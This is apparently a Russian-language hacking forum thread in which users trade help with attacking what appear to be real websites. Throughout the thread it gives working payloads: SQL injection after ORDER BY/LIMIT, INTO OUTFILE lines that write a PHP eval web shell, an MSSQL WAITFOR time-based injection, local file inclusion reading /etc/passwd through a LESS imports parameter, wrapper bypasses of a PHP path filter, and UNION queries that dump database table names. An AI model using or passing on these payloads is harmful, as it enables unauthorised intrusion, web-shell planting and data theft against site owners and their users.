В ошибке явно указано, что нарушен синтаксис. Лучше один раз увидеть, то бишь установить локально MySQL и разобраться в синтаксисе. Или, как минимум, почитать гайды по SQL инъекциям для новичков.
http://www.securityidiots.com/Web-P...XPATH-Error-Based-Injection-Extractvalue.html изучаем, пробуем. Сразу надо оговорится, что длина вывода не будет превышать 32 символа вроде. Что б вывести все что 32+ символы(хэш например) надо воспользоватся функцией substring(hash,32)
Гайды перечитаны) уже голова трещит от них( Спасибо! Но вы дали ссылку на входящий параметр до LIMIT. У меня же можно инъектироваться после ORDER BY id LIMIT 0,5 <<ЗДЕСЬ>> Если я пробую UNION, то выдает ошибку что ORDER не совместим с UNION((
Нашла еще способ инъекции: SELECT id,name FROM cities ORDER BY id LIMIT 0,5 INTO @var1,@var2 Но кроме переменных ничего невозможно вставить( Так не хочет: SELECT id,name FROM cities ORDER BY id LIMIT 0,5 INTO (SELECT 1),@var2 Есть идеи у кого-нибудь?
INTO - https://dev.mysql.com/doc/refman/8.0/en/select-into.html DoS Bug - https://nvd.nist.gov/vuln/detail/CVE-2015-4870 Он давно пофиксен, подзапросы больше не работают! Можете вывести только, например, название текущей базы данных, версию и текущего пользователя от которого идет подключение! Если у пользователя есть права на запись в фс пробуйте: Code: ?q=1 into outfile '/path/to/shell.php' lines terminated by "<?php eval($_GET[e]);?>"--+ ?q=1 into outfile '/path/to/shell.php' fields terminated by '' optionally enclosed by "<?php eval($_GET[e]);die();?>"--+
Спасибо! К несчастью сервер экранирует ковычки. А на строку в виде hex ругается... Значит здесь все? Никак нельзя?(
есть инъекция вида Code: param=1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- как выводить через нее что либо? и есть ли возможность подружить с мапом как-то?
есть локальный инклуд позволяющий читать произвольные файлы /style.less?update=e51qf61z&imports[]=../../../../../../../../../../../etc/passwd проблема в выводе которая ограничивается 6 строками есть идеи как обойти?
Возможно, ограничение в вывод 6 строк, заложено изначально в серверном приложении, к которому идёт обращение и обработка скрипта.
файлы с форматом less нормально читаются /style.less?update=e51qf61z&imports[]=/css/main/themes/default.less а вот с другими парсер выдает ошибку /* LESS COMPILE ERROR */ /* ParseError: Unexpected input in robots.txt on line 1, column 10 1| User-Agent: * 2| 3| Disallow: /1 4| Disallow: /2 5| Disallow: /3 6| Disallow: /4 */
Строку User-agent, сервер желает видеть не *, а вполне браузерного вида: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0, не так ли?
Ну, 6 строк вывода в ошибке это тоже не плохо. Как вариант, попробуй почитать индексный файл и остальные файлы сайта, очень часто в первых строках идут подключения конфигов и прочих библиотек, возможно прочитав конфиг тебе повезет увидеть в первых 6-ти строках данные для подключения к бд, фтп и тд. (Если конечно эти строки не забитый комментариями разработчиков )
/proc/self/environ если инклуд а не читалка просто. ну или ававатрку залей с кодом если есть возможность
Не нарушать работу парсера. Если есть возможность как-то закинуть свою нагрузку (пример), можно попробовать так: Code: /style.less?update=e51qf61z&imports[]=../../../../../../../../../../../tmp/your_cool_file.jpg Содержимое your_cool_file.jpg: Code: @import (inline) "/etc/passwd";
Не обойти? PHP: $f = stripslashes($_GET['f']);if(!(strpos($f, '..') === false) || strpos('./', $f) != 0 || strpos($f, "./") === false) { exit('FALSE'); } ---------------------------------- $_GET['f'] = 'wrapper://' $w = $_GET['f]; Возможна ли работа враппера с конкатенацией: './'.$w ? readfile('./'.$_GET['f']);
Там все элементарно крутится targetname=uIyg' union all select null,database(),null,null-- eqew&status=--- targetname=uIyg' union all select 1,2,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables)where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x),4-- eqew&status=--- и так далее